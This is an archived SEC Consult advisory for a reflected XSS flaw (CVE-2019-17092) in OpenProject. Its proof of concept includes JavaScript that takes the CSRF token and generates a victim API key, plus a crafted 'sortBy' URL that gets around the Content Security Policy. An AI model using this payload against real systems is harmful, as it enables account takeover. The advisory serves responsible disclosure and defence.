what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenProject 10.0.1 / 9.0.3 Cross Site Scripting

OpenProject 10.0.1 / 9.0.3 Cross Site Scripting
Posted Oct 15, 2019
Authored by David Haintz | Site sec-consult.com

OpenProject versions 9.0.3 and below and 10.0.1 and below suffer from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2019-17092
SHA-256 | 27975db18b78df36cf6fd45716d389ffb6c02a0c115be0adaae8b41026649331

OpenProject 10.0.1 / 9.0.3 Cross Site Scripting

Change Mirror Download
SEC Consult Vulnerability Lab Security Advisory < 20191014-0 >
=======================================================================
title: Reflected XSS vulnerability
product: OpenProject
vulnerable version: <= 9.0.3, <=10.0.1
fixed version: 9.0.4, 10.0.2
CVE number: CVE-2019-17092
impact: medium
homepage: https://www.openproject.org
found: 2019-09-27
by: David Haintz (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America

https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"OpenProject is the leading open source project management software. Support your
project management process along the entire project life cycle: From project
initiation to closure."

Source: https://www.openproject.org/


Business recommendation:
------------------------
Update to the latest version of OpenProject.

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security issues.


Vulnerability overview/description:
-----------------------------------
1) Reflected XSS vulnerability (CVE-2019-17092)
The project list of OpenProject lacks input validation on data that is output inside
an error message. Due to the Content Security Policy inline scripts/styles weren't
allowed and the script source was limited to 'self'. To bypass this a JavaScript file
was added as attachment to an existing project. This could be used to extract the CSRF
token and create a new API key.


Proof of concept:
-----------------
1) Reflected XSS vulnerability (CVE-2019-17092)
Within this proof of concept, two steps are done. First the JavaScript code to be
executed is uploaded as an attachment to fulfill the Content Security Policy of
'self'. In the second step the uploaded JavaScript code is executed through the
reflected XSS vulnerability by using a script-tag.

a) Upload JavaScript code
An attacker can upload a JavaScript file as attachment into any project in the default
configuration. The attachment can be called directly, but will be downloaded
automatically. But since the browser doesn't care if a file shall be downloaded or
displayed when loading it from an src-property, an attacker can easily use it for the
reflected XSS vulnerability.

In this proof of concept the following JavaScript code was uploaded:

(async () => {
var csrf_param = document.querySelector('meta[name=csrf-param]').content;
var csrf_token = document.querySelector('meta[name=csrf-token]').content;

var req = await fetch("http://$IP/my/generate_api_key", {
"credentials": "include",
"headers": {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Content-Type": "application/x-www-form-urlencoded",
"Upgrade-Insecure-Requests": "1"
},
"referrer": "http://$IP/my/access_token",
"body": "_method=post&" + csrf_param + "=" + encodeURI(csrf_token),
"method": "POST",
"mode": "cors"
});

var resp = await req.text();

var regex = /(Your access token is:\<br \/\>\<strong\>)(.*)(\<\/strong\>)/gm;
var api_key = resp.match(regex)[0];
api_key = api_key.slice(35, -9);
alert("Generated new API key: " + api_key);
})();


This gets the CSRF token and the parameter name (since this seems to be configurable)
and sends a request to the generate_api_key functionality. After parsing, the key is
exposed in a message box, but can be used for further operations like adding an
administrative user.


b) Craft link
The reflected XSS vulnerability was found in the URL parameter 'sortBy' of the path
'/projects'. There an attacker may add any HTML code.

Such a link could be:
http://$IP/projects?sortBy=[[%22%3E%3Cscript%20src=%27/attachments/29/test.js%27%3E%3C%2Fscript%3E%22%2C%22%22]]


Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available at the
time of the test:

* 10.0.0
* 10.0.1

According to the vendor, all versions before v9.0.3 and v10.0.1 are affected.


Vendor contact timeline:
------------------------
2019-10-02: Contacting vendor through security@openproject.com
2019-10-02: Vendor verified the vulnerability and released the fix
2019-10-08: Verified fixed vulnerability
2019-10-08: Vendor announced that they will publish the CVE and full advisory
2019-10-14: Release of security advisory.


Solution:
---------
The vendor provides an updated version (v10.0.2 and v9.0.4) which should be
installed immediately. Release notes of the vendor:

https://www.openproject.org/release-notes/openproject-9-0-4/
https://www.openproject.org/release-notes/openproject-10-0-2/


Workaround:
-----------
There is no workaround available.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF D. Haintz / @2019

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close